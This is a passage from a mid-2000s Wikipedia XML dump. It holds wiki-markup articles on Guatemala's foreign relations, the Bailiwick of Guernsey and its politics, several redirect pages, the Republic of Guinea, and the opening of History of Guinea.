      <text xml:space="preserve">[[Guatemala]]'s major diplomatic interests are regional security and, increasingly, regional development and economic integration. The [[Central American Ministers of Trade]] meet on a regular basis to work on regional approaches to trade issues. In March 1998, Guatemala joined its [[Central America]]n neighbors in signing a [[Trade and Investment Framework Agreement]] (TIFA). In 2000 it joined [[Honduras]] and [[El Salvador]] in signing a free trade agreement with [[Mexico]], which went into effect in 2001. Guatemala also originated the idea for, and is the seat of, the [[Central American Parliament]] (PARLACEN).

Guatemala participates in several regional groups, particularly those related to the environment and trade. For example, US President Clinton and the Central American presidents signed the CONCAUSA ([[Conjunto Centroamerica-USA]]) agreement at the [[Summit of the Americas]] in December 1994. CONCAUSA is a cooperative plan of action to promote clean, efficient energy use; conserve the region's biodiversity; strengthen legal and institutional frameworks and compliance mechanisms; and improve and harmonize environmental protection standards.

Guatemala has a longstanding claim to a large portion of [[Belize]]; the territorial dispute caused problems with the [[United Kingdom]] and later with Belize following its 1981 independence from the U.K. In December 1989, Guatemala sponsored Belize for permanent observer status in the Organization of American States (OAS). In September 1991, Guatemala recognized Belize's independence and established diplomatic ties, while acknowledging that the boundaries remained in dispute. In anticipation of an effort to bring the border dispute to an end in early 1996, the Guatemalan Congress ratified two long-pending international agreements governing frontier issues and maritime rights.

In early 2000, the Guatemalan Foreign Ministry proposed a border settlement that would transfer more than half of Belize's territory to Guatemala. Following a spate of border incidents, both sides agreed during talks under OAS auspices in November 2000 to confidence-building measures to reduce tensions. They followed that with an agreement on opening substantive discussions on the dispute. 

Notably, both Guatemala and Belize are participating in the confidence building measures, including the Guatemala-Belize Language Exchange Project (for more information see: www.guatemalabelize.com and www.confidence2.org ).

Guatemala maintains official relations with the [[Republic of China]] (known as &quot;Taiwan&quot;) instead of the [[People's Republic of China]].

'''Disputes - international:'''
territory in Belize claimed by Guatemala; precise alignment of boundary in dispute

'''Illicit drugs:'''
transit country for cocaine shipments; minor producer of illicit opium poppy and cannabis for the international drug trade; active eradication program in 1996 effectively eliminated the cannabis crop; proximity to Mexico makes Guatemala a major staging area for drugs (cocaine shipments)
 
[[Category:Foreign relations of Guatemala| ]]</text>
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  <page>
    <title>Guernsey</title>
    <id>12166</id>
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      <minor />
      <comment>/* Economy */  new link Guernsey Post Office</comment>
      <text xml:space="preserve">{{otheruses}}
 
The '''[[Bailiwick]] of Guernsey''' ([[French language|French]]: '''Bailliage de Guernesey''') is a [[British Isles (terminology)|British]] [[crown dependency]] in the [[English Channel]] off the coast of [[Normandy]].

As well as the [[island]] of Guernsey itself, it also includes [[Alderney]], [[Sark]], [[Herm]], [[Jethou]], [[Brecqhou]], [[Burhou]] and other [[islet]]s. The island of Guernsey is divided into [[:Category:Parishes in Guernsey|10 Parishes]]. Together with the [[Jersey|Bailiwick of Jersey]], it is included in the collective grouping known as the [[Channel Islands]].

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; float:right; width:290px;&quot;
|+ &lt;big&gt;'''Bailiwick of Guernsey&lt;br&gt;Bailliage de Guernesey'''&lt;/big&gt;
|-
|style=&quot;background:#fefefe;&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Flag of Guernsey.svg|125px|]]&lt;br&gt;[[Flag of Guernsey|(in detail)]]
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Guernsey_Coat_of_Arms.png|Coat of Arms of Guernsey]]
|}
|-
|align=&quot;center&quot; colspan=2|[[Image:LocationGuernsey.png|Location of Guernsey]]
|-
|[[Official language]]s
|[[English language|English]] (predominant), [[French language|French]] (legislative use only), [[Dgèrnésiais]] recognised as regional language
|-
|[[Capital]]
|[[St Peter Port]] 
|-
|[[Lieutenant Governor of Guernsey|Lieutenant Governor and Commander in Chief]]
|Sir [[Fabian Malbon]]  
|-
|[[List of Bailiffs of Guernsey|Bailiff]]
|[[Geoffrey Rowland]]
|-
|[[Chief Minister]]
|[[Laurie Morgan]]
|-
|[[Currency]]
|[[Guernsey Pound]] (on par with [[Pound Sterling]])
|-
|[[Time zone]]
|[[Coordinated Universal Time|UTC]] ([[Daylight Saving Time|DST +1]])
|-
|[[National anthem]]
|''[[God Save the Queen]]'' (official), ''[[Sarnia Cherie]]'' (official for occasions when distinguishing anthem required), 
|-
|[[National Day]]
|[[Liberation Day]], [[9 May]]
|-
|[[Top-level domain|Internet TLD]]
|[[.gg]]
|-
|[[List_of_country_calling_codes|Calling Code]]
| +44-1481
|}

== History ==
Rising sea levels transformed Guernsey into the tip of a [[peninsula]] jutting out into the emergent English Channel until about [[6000 BC]], when Guernsey and other promontories were cut off from continental Europe, becoming islands. At this time, [[Neolithic]] farmers settled the coasts and created the [[dolmens]] and [[menhirs]] that dot the islands. The island of Guernsey contains three [[Statue menhir|sculpted menhirs]] of great archaeological interest; the dolmen known as L'Autel du Dehus also contains a [[dolmen deity]].

During their migration to Brittany, the Britons occupied the ''Lenur Islands'' (former name of the Channel Islands) including ''Lisia'' (Guernsey) and ''Angia'' (Jersey). It was formerly thought that the Island's original name was ''Sarnia'', but recent research shows that to have been the Latin name for [[Sark]].  Coming from the kingdom of Gwent, Saint [[Samson of Dol|Sampson]] (abbot of Dol, in Brittany) is credited with the introduction of [[Christianity]] to Guernsey.

In [[933]] the islands, formerly under the control of the kingdom, then [[Duchy of Brittany]] were annexed by the [[Duchy of Normandy]]. The island of Guernsey and the other [[Channel Island]]s represent the last remnants of the medieval Duchy of Normandy. In the islands, [[Elizabeth II of the United Kingdom|Elizabeth II]]'s traditional title as [[head of state]] is [[Duke of Normandy]].  In fact, locals jokingly refer to [[England]] as the colony!

During the [[English Civil War]], Guernsey sided with [[English Parliament|Parliament]], while Jersey remained [[Charles I of England|Royalist]].  Guernsey's decision was mainly related to the higher proportion of [[Calvinists]] and other Reformed churches, as well as [[Charles I]]'s refusal to take up the case of some Guernsey seamen who had been captured by the [[Barbary corsairs]].  The allegiance was not total, however, there were a few Royalist uprisings in the Southwest of the island, while Castle Cornet was occupied by the then Governor, Sir Peter Osbourne, and Royalist troops.  [[Castle Cornet]] was the last Royalist stronghold to capitulate, in 1651.

During [[World War I]] approximately 3,000 island men served in the [[British Expeditionary Force]]. Of these, about 1,000 served in the [[Royal Guernsey Light Infantry]] regiment which was formed from the Royal Guernsey Militia in 1916.

The Bailiwick of Guernsey was [[Occupation of the Channel Islands|occupied by German troops]] in [[World War II]]. Before the occupation, many Guernsey children were evacuated to England to live with relatives or strangers during the war. Some children were never re-united with their families. During the occupation, some people from Guernsey were deported by the Germans to camps in the southwest of [[Germany]], notably to [[Biberach an der Riß|Biberach an der Riss]] and interned in the Lindele Camp (&quot;Lager Lindele&quot;). There was also a concentration camp built in Alderney where forced labourers, predominantly from Eastern Europe, were kept. It was the only concentration camp built on British soil and is commemorated on memorials under the Alderney's name in French: 'Aurigny'.

== Politics ==
{{main|Politics of Guernsey}}
[[The States]] of Guernsey, officially called the [[States of Guernsey|States of Deliberation]], consists of 45 People's Deputies, elected from multi- or single-member districts every four years. There are also two representatives from [[Alderney]], a self-governing dependency of the Bailiwick, but [[Sark]] sends no representative. There are also two non-voting members - the Attorney General and the Solicitor General both appointed by the monarch. Laws passed by the States are known as 'Ordinances'.

The Lieutenant Governor is the representative of [[the Crown]]. The [[official residence]] of the Lieutenant Governor is Government House. Since [[18 October]] 2005, the incumbent is Vice-Admiral Sir Fabian Malbon, born in Southsea in 1946 and a serving naval officer 1965-2002. His last naval posting before retirement from the Royal Navy was deputy commander-in-chief of fleet.

Each parish is administered by a Douzaine.  Douzeniers are elected for a six year mandate, two Douzeniers being elected by parishioners at a Parish Meeting in November each year. The senior Douzenier is known as the Doyen. Two elected [[Constable]]s carry out the decisions of the Douzaine, serving for between one and three years. The longest serving Constable is known as the Senior Constable and his or her colleague as the Junior Constable. 

The legal system is derived from [[Normans|Norman]] French and English common law, justice being administered through a combination of Magistrates Court and the Royal Court. The Royal Court is presided over by the Bailiff and 12 [[Jurat|Jurats]] (a permanent elected jury), the ultimate court of appeal being the [[Judicial Committee of the Privy Council|Privy Council]].

== Geography ==
[[Image:guernsey_sm02.png|thumb|250px|right|Map of Guernsey]]

At {{coor dm|49|28|N|2|35|W|}}, Alderney, Guernsey, Herm, Sark, and some other smaller islands have a total area of 30 sq mi (78 sq km) and a coastline of about 30 miles (50 km). [[Lihou]], a [[tidal island]], is attached to Guernsey by a causeway at low tide. The terrain is mostly level with low hills in southwest. 

Elevation varies from sea level to 375 feet (114 m) at Le Moulin on Sark. The highest point in mainland Guernsey is Hautnez (363 feet), in Alderney at Le Rond But (306 feet), in Jethou (248 feet) and Herm (322 feet). Natural resources include cropland. 

There is a [[St Peter Port Harbour|large, deepwater harbour]] at [[St Peter Port]].

The climate is temperate with mild winters and cool summers. The hottest months are August and September  where temperatures are generally around 26 °C. In retrospect, the coldest month is February, when it has snowed for the last two years running. However, the temperature rarely drops below freezing, although strong wind-chill from Arctic winds can sometimes make it feel like it. 50% of the days are overcast.

This said, if Guernsey were part of the United Kingdom, it would be statistically the sunniest place in the country. The island is blessed with some glorious sunrises and sunsets throughout most of the year.

The [[Casquets]], a group of islets, are notable for the [[lighthouse]] facility constructed there.

The island of Guernsey is divided into ten [[Parish (subnational entity)|parishes]] (the [[parish]] of [[St Anne, Alderney]] is not generally included in the enumeration of parishes in the Bailiwick):

[[Image:Guernsey.png|thumb|400px|Map of the parishes of Guernsey]]

&lt;BR&gt;&lt;BR&gt;

{| class=&quot;wikitable&quot;

!Map||Parish||Population &lt;br&gt;(census 2001)||area &lt;br&gt;([[vergee]]s)||area &lt;br&gt;(km²)
|-
|1||[[Castel, Guernsey|Castel]]||8,975||6,224||10.1
|-
|2||[[The Forest, Guernsey|Forest]]||1,549||2,508||4.2
|-
|3||[[St Andrew's, Guernsey|St Andrew]]||2,409||2,752||4.4
|-
|4||[[St Martin's, Guernsey|St Martin]]||6,267||4,479||7.3
|-
|5||[[St Peter Port]]||16,488||4,074||6.5
|-
|6||[[St Peter's, Guernsey|St Pierre du Bois]]||2,188||3,818||6.2
|-
|7||[[St Sampson's, Guernsey|St Sampson]]||8,592||3,687||6.0
|-
|8||[[St Saviour's, Guernsey|St Saviour]]||2,696||3,892||6.2
|-
|9||[[Torteval]]||973||1,901||3.1
|-
|10||[[Vale, Guernsey|Vale]]||9,573||5,462||8.8
|}

== Economy ==
Financial services - [[banking]], [[fund management]], [[insurance]], etc. - account for about 55% of total income in this tiny [[Channel Island]] [[economics|economy]]. [[Tourism]], [[manufacturing]], and [[horticulture]], mainly [[tomato]]es and cut flowers especially [[freesia]]s have been declining. Light tax and death duties make [[Guernsey]] a popular [[offshore finance]] centre. However, the evolving economic integration of the [[European Union]] nations is changing the rules under which Guernsey operates. Guernsey is currently changing the way its tax system works in order to remain internationally competitive, and is confronting what it terms a financial &quot;black hole&quot; of just over forty million pounds. Though Guernsey does not have an official [[ISO 3166-1 alpha-3]] code, [[International Organization for Standardization|ISO]] has reserved the '''[[GGY]]''' code to indicate this country; [[market data]] vendors, such as [[Bloomberg]], will report products related to Guernsey using this code.

Guernsey issues its own [[Guernsey coins|coinage]] and [[Guernsey Pound#Banknotes|banknotes]]. The [[Guernsey Pound]] is at par with the British pound. [[Jersey pound|Jersey currency]], UK coinage and English and Scottish banknotes also circulate freely and are accepted interchangeably.

[[Image:GuernseyPostBox.jpg|thumb|180px|left|A [[Guernsey Post Office|Guernsey Post]] [[pillar box]].]]
[[Image:GuernseyTelephoneBox.jpg|thumb|180px|right|A [[Guernsey Telecom]] (now owned by [http://www.cwgsy.net Cable and Wireless Guernsey)] [[phone box]].]]
Public services, such as electricity, gas, and postal services are all operated by independent (from the [[UK]]) companies in Guernsey. Both the [[Guernsey Post Office|Guernsey Post]] post boxes and the telephone boxes are painted blue, but otherwise are identical to their British counterparts, the red [[pillar box]] and [[red telephone box]].

Ports and harbours exist at [[St Peter Port]] and [[St Sampson's]]. There are two paved airports in the bailiwick ([[Guernsey Airport]] and [[Alderney Airport]]), and 3 miles (5 km) of railways in [[Alderney]].

The ''Guernsey Railway'', which was virtually an electric tramway, and which began working on [[20 February]] [[1892]], was abandoned on [[9 June]] [[1934]]. It replaced an earlier transport system which was worked by steam, and was named the Guernsey Steam Tramway. The latter began service on [[6 June]] [[1879]] with six locomotives.  This leaves [[Alderney]] as the only Channel Island with a working railway.

*[Notes on the Railway taken from ''The Railway Magazine'', September 1934 edition]

== Demographics ==
The population is 65,031, [[as of 2004]]. The median age for males is 39.6 years and for females is 41.5 years. The population growth rate is 0.31% with 9.16 births/1,000 population, 9.87 deaths/1,000 population, and 3.84 migrant(s)/1,000 population. The life expectancy is 77.17 years for males and for females. 1.38 children are born per woman. Ethnic groups consist of British and Norman-French descent and Portuguese. The [[Anglicanism|Anglican]], [[Roman Catholicism|Roman Catholic]], [[Presbyterianism|Presbyterian]], [[Baptist]], [[Congregational church|Congregational]], and [[Methodism|Methodist]] religions are practised, the most common being the Anglicans and Methodists.

For immigration and nationality purposes the United Kingdom generally treats Guernsey as though it were part of the UK, however Guernsey is constitutionally entitled to restrict immigration by non-Guernsey people and maintains its own immigration and border controls. There are restrictions on those without Guernsey status purchasing or renting property on the island. Although Guernsey's inhabitants are full [[British nationality law|British citizens]], an endorsement restricting the right of establishment in other European Union states is placed in the passport of British citizens connected solely with the Channel Islands and Isle of Man. Those who have a parent or grandparent born in the United Kingdom itself (England, Scotland, Wales and Northern Ireland), or who have lived in the United Kingdom for 5 years, are not subject to this restriction.

== Culture ==
[[image:Little_chapel,_Guernsey_(1993).jpg|thumb|Little Chapel, Les Vauxbelets, Guernsey.]]
English is the only language spoken by a majority of the population, while [[Dgèrnésiais]], the [[Norman language]] of the island, is currently spoken fluently by 2% of the population (according to 2001 census). However, 14% of the population claim some understanding of the language and it is taught in a few Island schools. Until the early [[20th century]] French was the only official language. Family and place names reflect this linguistic heritage. Portuguese is taught in a few schools and is spoken by around 2% of the population.

[[Victor Hugo]] wrote some of his best-known works while in exile in Guernsey, including [[Les Misérables]]. His home in [[St Peter Port]], Hauteville House, is now a museum administered by the city of [[Paris]].

The national animals of the island of Guernsey are the [[donkey]] and the [[Guernsey cattle|Guernsey cow]]. The traditional explanation for the donkey (''âne'' in French and Dgèrnésiais) is the steepness of [[St Peter Port]] streets that necessitated beasts of burden for transport (in contrast to the flat terrain of the rival capital of [[St Helier]] in [[Jersey]]), although it is also used in reference to Guernsey inhabitants' stubbornness.   The Guernsey cow is a more internationally famous icon of the island.

Guernsey people are traditionally nicknamed ''donkeys'' or ''ânes'', especially by Jersey people (who in turn are nicknamed ''crapauds'' - toads). Inhabitants of each of the parishes of Guernsey also have traditional nicknames, although these have generally dropped out of use among the English-speaking population. 

The [[Guernsey Lily]] ''Nerine sarniensis'' (''Sarnia'' is the traditional name of the island of Guernsey in [[Latin]]) is also used as a symbol of the island.

A local delicacy is the [[ormer]] (''haliotis tuberculata'') - a variety of abalone harvested from the beach at low spring tides.

==Sport in Guernsey==
Guernsey participates in its own right in the [[Commonwealth Games]].

Guernsey participates in the [[Island Games]], which it has hosted. In sporting events in which Guernsey does not have international representation, when the British [[Home Nations]] are competing separately, islanders that do have high athletic skill may choose to compete for any of the Home Nations - there are, however, restrictions on subsequent transfers to represent another Home Nation. The football player [[Matt Le Tissier]] for example, tried out for the [[Scotland national football team]] but ended up playing for [[England national football team|England]].

The island's traditional colour (e.g. for sporting events) is [[green]].

Guernsey has recently been declared an affiliate member by the [[ICC]] (International [[Cricket]] Council).

== External links ==
{{Commons|Guernsey}}
*[http://www.gov.gg/ States of Guernsey] - Official site
*[http://www.guernseytouristboard.com/ Guernsey Tourism] - Official Site
*[http://www.thisisguernsey.com/ This Is Guernsey] - Local portal site
*[http://www.library.gg/ The Guille-Allès Library] - Guille-Allès Public Library site
*[http://www.mapquest.com/maps/map.adp?formtype=address&amp;searchtype=address&amp;country=GB&amp;addtohistory=&amp;address=&amp;city=guernsey&amp;zipcode= Map of Guernsey]
*[http://www.guernsey-airport.gov.gg Guernsey Airport (EGJB)] - Guernsey Airport (EGJB)
*[http://www.chernobyl-children.com/ Chernobyl Children Life Line Guernsey Link] - Local Charity

{{Channel Islands}}
{{Europe}}
{{British dependencies}}


[[Category:Channel Islands]]
[[Category:European dependencies]]
[[Category:Guernsey]]
[[Category:Special territories]]

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[[zh:根西岛]]</text>
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  <page>
    <title>History of Guernsey</title>
    <id>12167</id>
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      <id>15909871</id>
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      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
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  </page>
  <page>
    <title>Geography of Guernsey</title>
    <id>12168</id>
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      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
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    <title>Demographics of Guernsey</title>
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      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
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  </page>
  <page>
    <title>Politics of Guernsey</title>
    <id>12170</id>
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      <id>34671275</id>
      <timestamp>2006-01-10T22:37:30Z</timestamp>
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      <minor />
      <comment>category</comment>
      <text xml:space="preserve">{{Politics of Guernsey}}
'''Politics of Guernsey''' takes place in a framework of a[[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] British Crown Dependency, whereby the [[Chief Minister]] is the [[head of government]].

==Executive branch==
{{office-table}}
|Lieutenant Governor
|Sir [[Fabian Malbon]]
|
|[[18 October]] [[2005]]
|-
|[[List of Bailiffs of Guernsey|Bailiff]]
|[[Geoffrey Rowland]]
|
|[[2005]]
|-
|[[Chief Minister of Guernsey|Chief Minister]]
|[[Laurie Morgan]]
|
|[[2005]]
|}
The Lieutenant Governor is the representative of [[the Crown]]. The [[official residence]] of the Lieutenant Governor is Government House. Since [[18 October]] 2005, the incumbent is Vice-Admiral Sir Fabian Malbon, born in Southsea in 1946 and a serving naval officer 1965-2002. His last naval posting before retirement from the Royal Navy was deputy commander-in-chief of fleet.
The Bailiff is the first civil officer in the [[bailiwick]] of [[Guernsey]], serving as president of the legislature and the Royal Court. Since [[2004]], Guernsey's head of government is the [[Chief Minister]]. The Bailiff is appointed by [[the Crown]], and generally holds office until retirement age (65). He presides at the Royal Court, and takes the opinions of the ''[[Jurat]]s'', elected lay judges,; he also presides over the States, and represents the Crown in all civil matters.

==Legislative branch==
[[The States]] of Guernsey, officially called the [[States of Guernsey|States of Deliberation]], consists of 45 People's Deputies, elected from multi- or single-member districts every four years. There are also two representatives from [[Alderney]], a self-governing dependency of the Bailiwick, but [[Sark]] sends no representative. There are also two non-voting members - the Attorney General and the Solicitor General both appointed by the monarch. Laws passed by the States are known as 'Ordinances'.
==Elections==
{{Guernsey States election, 2004}}
==Judicial branch==
The legal system is derived from [[Normans|Norman]] French and English common law, justice being administered through a combination of Magistrates Court and the Royal Court. The Royal Court is presided over by the Bailiff and 12 [[Jurat|Jurats]] (a permanent elected jury), the ultimate court of appeal being the [[Judicial Committee of the Privy Council|Privy Council]].
==Administrative divisions==
Each parish is administered by a Douzaine.  Douzeniers are elected for a six year mandate, two Douzeniers being elected by parishioners at a Parish Meeting in November each year. The senior Douzenier is known as the Doyen. Two elected [[Constable]]s carry out the decisions of the Douzaine, serving for between one and three years. The longest serving Constable is known as the Senior Constable and his or her colleague as the Junior Constable. 

[[Category:Politics of Guernsey]]</text>
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    <title>Economy of Guernsey</title>
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        <id>10049</id>
      </contributor>
      <comment>merging</comment>
      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guernsey</title>
    <id>12172</id>
    <revision>
      <id>15909876</id>
      <timestamp>2004-07-15T06:26:07Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>redirect nonexistent article</comment>
      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Guernsey</title>
    <id>12173</id>
    <revision>
      <id>15909877</id>
      <timestamp>2004-07-15T06:26:59Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Guernsey</title>
    <id>12174</id>
    <revision>
      <id>15909878</id>
      <timestamp>2004-07-15T06:06:29Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>there is no military!</comment>
      <text xml:space="preserve">#REDIRECT[[Guernsey]]</text>
    </revision>
  </page>
  <page>
    <title>Guinea</title>
    <id>12176</id>
    <revision>
      <id>41948065</id>
      <timestamp>2006-03-02T20:44:44Z</timestamp>
      <contributor>
        <username>Master Jay</username>
        <id>526659</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.86.1.17|24.86.1.17]] to last version by MFH</comment>
      <text xml:space="preserve">{{guinea infobox}}
{{wiktionarypar|Guinea}}
{{otheruses}}
The '''Republic of Guinea''' ([[French Language|French]]: '''République de Guinée''') is a nation in [[West Africa]]. It borders [[Guinea-Bissau]] and [[Senegal]] on the north, [[Mali]] on the north and north-east, the [[Côte d'Ivoire]] on the south-east, [[Liberia]] on the south, and [[Sierra Leone]] on the west. Its territory encompasses the water source for the [[Niger River|Niger]], [[Senegal river|Senegal]], and [[Gambia River|Gambia]] rivers, with a [[coastal|coastline]] facing the [[Atlantic Ocean]]. The name [[Guinea (region)|Guinea]] (geographically assigned to most of Africa's west coast, south of the [[Sahara desert]] and north of the [[Gulf of Guinea]]) originates from [[Berber languages|Berber]] and roughly translates into 'land of the blacks.'

==History==
''Main article: [[History of Guinea]]''

The area covered by the modern state of Guinea has seen itself incorporated into a succession of empires across the centuries. The earliest of these was the [[Ghana Empire]] which came into being c. 900. This was followed by the [[Sosso]] kingdom in the 12th and 13th centuries. The [[Mali Empire]] came to power in the area following the [[Battle of Kirina]] in [[1235]]. The Mali Empire prospered until internal problems weakened it, allowing its states to seize power in the 15th century. Chief among these was the Songhai state which became the [[Songhai Empire]]. This empire exceeded its predecessors in territory and wealth, but it too fell prey to internal wrangling and [[civil war]] and was eventually toppled at the [[Battle of Tondibi]] in 1591. After this the area fragmented until an Islamic state was founded in the 18th century, bringing some stability to the region.

Europeans first came to the area as part of the [[slave trade]], beginning in the 16th century. Present-day Guinea was created as a colony by [[France]] in [[1890]] with Noël Balley being the first governor. The capital [[Conakry]] was founded on Tombo Island in 1890. In 1895 the country was incorporated into [[French West Africa]].

Guinea gained her independence from France in 1958 and was governed by a dictatorship headed by [[Ahmed Sékou Touré]]. Touré pursued broadly [[socialist]] economic policies and suppressed opposition and free expression with little regard for human rights. After his death in 1984 [[Lansana Conté]] took power and immediately turned away from his predecessor's economic policies but continued to keep a close grip on power. Elections were held for the first time in 1993 but their results and the results of subsequent elections were disputed. Conté faces regular criticism for the condition of the country's economy and for his heavy handed approach to political opponents. [[As of 2005]] Guinea still faces very real problems and according to the [[International Crisis Group]] is in danger of becoming a [[failed state]].

==Politics==
''Main article: [[Politics of Guinea]]''

* [[List of Presidents of Guinea]]

==Prefectures==

[[Guinea]] is divided into 8 [[Regions of Guinea|administrative regions]] which are further subdivided into 33 [[prefectures]]. Additionally, the national capital [[Conakry]] ranks as a special zone. These are listed below, with their parent administrative region in parenthesis.

[[Image:Guinea_Prefectures.png|right|325px]]
#[[Beyla Prefecture]] ([[Nzérékoré Region]])
#[[Boffa Prefecture]] ([[Boké Region]])
#[[Boké Prefecture]] ([[Boké Region]])
#[[Conakry Special Zone]] ([[Conakry Region]])
#[[Coyah Prefecture]] ([[Kindia Region]])
#[[Dabola Prefecture]] ([[Faranah Region]])
#[[Dalaba Prefecture]] ([[Mamou Region]])
#[[Dinguiraye Prefecture]] ([[Faranah Region]])
#[[Dubréka Prefecture]] ([[Kindia Region]])
#[[Faranah Prefecture]] ([[Faranah Region]])
#[[Forécariah Prefecture]] ([[Kindia Region]])
#[[Fria Prefecture]] ([[Boké Region]])
#[[Gaoual Prefecture]] ([[Boké Region]])
#[[Guéckédou Prefecture]] ([[Nzérékoré Region]])
#[[Kankan Prefecture]] ([[Kankan Region]])
#[[Kérouané Prefecture]] ([[Kankan Region]])
#[[Kindia Prefecture]] ([[Kindia Region]])
#[[Kissidougou Prefecture]] ([[Faranah Region]])
#[[Koubia Prefecture]] ([[Labé Region]])
#[[Koundara Prefecture]] ([[Boké Region]])
#[[Kouroussa Prefecture]] ([[Kankan Region]])
#[[Labé Prefecture]] ([[Labé Region]])
#[[Lélouma Prefecture]] ([[Labé Region]])
#[[Lola Prefecture]] ([[Nzérékoré Region]])
#[[Macenta Prefecture]] ([[Nzérékoré Region]])
#[[Mali Prefecture]] ([[Labé Region]])
#[[Mamou Prefecture]] ([[Mamou Region]])
#[[Mandiana Prefecture]] ([[Kankan Region]])
#[[Nzérékoré Prefecture]] ([[Nzérékoré Region]])
#[[Pita Prefecture]] ([[Mamou Region]])
#[[Siguiri Prefecture]] ([[Kankan Region]])
#[[Télimélé Prefecture]] ([[Kindia Region]])
#[[Tougué Prefecture]] ([[Labé Region]])
#[[Yomou Prefecture]] ([[Nzérékoré Region]])

==Geography==
''Main article: [[Geography of Guinea]]''

The highest point in Guinea is [[Mont Nimba]].

                                                 [[image:GuineaMap.png|right|Map of Guinea]]

==Economy==
''Main article: [[Economy of Guinea]]''

Guinea possesses major [[mineral]], [[hydropower]], and [[agricultural]] resources, yet remains an [[developing country|underdeveloped nation]]. The country possesses over 30% of the world's [[bauxite]] reserves and is the second-largest bauxite producer. The [[mining]] sector accounted for about 75% of exports in 1999. Long-run improvements in government fiscal arrangements, literacy, and the legal framework are needed if the country is to move out of poverty. Fighting along the [[Sierra Leone]]an and [[Liberia]]n borders, as well as refugee movements, have caused major economic disruptions, aggravating a loss in investor confidence. Foreign mining companies have reduced [[expatriate]] staff. [[Panic buying]] has created food shortages and inflation and caused riots in local markets. Guinea is not receiving multilateral aid. The [[IMF]] and [[World Bank]] cut off most assistance in 2003. Growth rose slightly in 2004, primarily due to increases in global demand and commodity prices on world markets.

==Demographics==
''Main article: [[Demographics of Guinea]]''

==Culture==

''Main article: [[Culture of Guinea]]''

* Like other West African countries, Guinea has a rich musical tradition. The group Bembeya Jazz became popular in the 1960s after Guinean independence. The [[Vancouver]]-based guitarist [[Alpha Yaya Diallo]] hails from Guinea and incorporates its traditional rhythms and melodies into his original compositions, for which he has won two [[Juno Awards]].

*[[List of African writers (by country)#Guinea|List of writers from Guinea]]

==Miscellaneous topics==

* [[Communications in Guinea]]
* [[Transportation in Guinea]]
* [[Military of Guinea]]
* [[Foreign relations of Guinea]]
* [[National Park of Upper Niger]]

== Language ==

* [[Taki language]]
* [[French language]]
* [[Arabic language]]
* [[Fula language]]

==External links==
{{sisterlinks|Guinea}}
===Government===
*[http://www.un.int/guinea/ Permanent UN Mission of the Republic of Guinea''] official government site

===Overviews===
* [http://www.cia.gov/cia/publications/factbook/geos/gv.html  CIA World Factbook - Guinea]
* [http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1032311.stm BBC News Country Profile - Guinea]

===Music===
* [http://www.coraconnection.com/ Cora Connection] West African music resources

===Directories===
* [http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559924/ LookSmart - ''Guinea''] directory category
* [http://dmoz.org/Regional/Africa/Guinea/ Open Directory Project - ''Guinea''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/guinea.html Stanford University - Africa South of the Sahara: ''Guinea''] directory category
*[http://www.afrika.no/index/Countries/Guinea/ The Index on Africa - ''Guinea''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Guinea.html University of Pennsylvania - African Studies Center: ''Guinea''] directory category
* [http://dir.yahoo.com/Regional/Countries/Guinea/ Yahoo! - ''Guinea''] directory category

===Tourism===
*{{wikitravel}}

{{Africa}}

[[Category:Guinea|*]]
[[Category:African Union member states]]

[[af:Guinee]]
[[ar:غينيا]]
[[bg:Гвинея]]
[[bs:Gvineja]]
[[ca:República de Guinea]]
[[cs:Guinea]]
[[da:Guinea]]
[[de:Guinea]]
[[et:Guinea]]
[[es:Guinea]]
[[eo:Gvineo]]
[[ff:Gine]]
[[fr:Guinée]]
[[gd:Guinea]]
[[gl:Guinea - Guinée]]
[[ko:기니]]
[[io:Guinea]]
[[id:Guinea]]
[[is:Gínea]]
[[it:Guinea]]
[[he:גינאה]]
[[lv:Gvineja]]
[[lt:Gvinėja]]
[[ms:Guinea]]
[[na:Guinea]]
[[nl:Guinee]]
[[nds:Guinea]]
[[ja:ギニア]]
[[no:Guinea]]
[[nn:Guinea]]
[[oc:Guinèa]]
[[pl:Gwinea (państwo)]]
[[pt:Guiné]]
[[ro:Guineea]]
[[ru:Гвинея]]
[[sa:गिनी]]
[[sq:Guineja]]
[[sk:Guinea]]
[[sl:Gvineja]]
[[fi:Guinea]]
[[sr:Гвинеја]]
[[sv:Guinea]]
[[tl:Guinea]]
[[th:ประเทศกินี]]
[[tr:Gine]]
[[uk:Гвінея]]
[[zh:几内亚]]
[[zh-min-nan:Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>History of Guinea</title>
    <id>12177</id>
    <revision>
      <id>35361051</id>
      <timestamp>2006-01-16T05:05:37Z</timestamp>
      <contributor>
        <username>RickReinckens</username>
        <id>376216</id>
      </contributor>
      <comment>added link to year</comment>
      <text xml:space="preserve">==Empires==

The modern state of [[Guinea]] did not come into existence until [[1898]] but the history of the area stretches back much further. [[History of West Africa|West Africa]] saw many empires rise and fall in the period before European intervention and Guinea fell within many of them. The [[Ghana Empire]] is believed to be the earliest of these which grew on trade but contracted and ultimately fell due to the hostile influence of the [[Almoravides]]. It was in this period that [[Islam]] first arrived in the region. 

